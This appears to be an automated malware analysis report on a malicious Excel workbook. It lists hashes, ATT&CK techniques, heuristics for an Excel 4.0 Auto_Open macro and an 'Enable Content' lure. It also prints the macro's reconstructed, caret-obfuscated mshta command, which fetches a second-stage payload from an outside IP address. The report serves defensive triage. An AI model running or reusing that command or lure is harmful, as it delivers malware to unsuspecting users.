Office (OLE) / .XLSX malware analysis — malicious · 9d5dbc40d82c366f

MALICIOUS

Office (OLE) / .XLSX

64.7 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel

MD5: 5a068a5c75d19a15205fffe8ba4b1a7c SHA-1: f406e176cd47fa8c42ebf02ee8abe11aab006dc1 SHA-256: 9d5dbc40d82c366feb36b148f4d3b2e5c6784c243b64c4cfd5abac1b9f05b6e2

100 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 Malicious File: User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic

The sample contains Excel 4.0 macros with an Auto_Open entry, which is a critical indicator of malicious intent. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', a common lure. The extracted macro reconstructs the command 'cmd /c msh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html', indicating that the macro's purpose is to download a second-stage payload from the specified URL.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `c5aad075e50422dc1116ac70939d41e0371d46cf42a38ecf99b5202042a44db6`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1374 bytes

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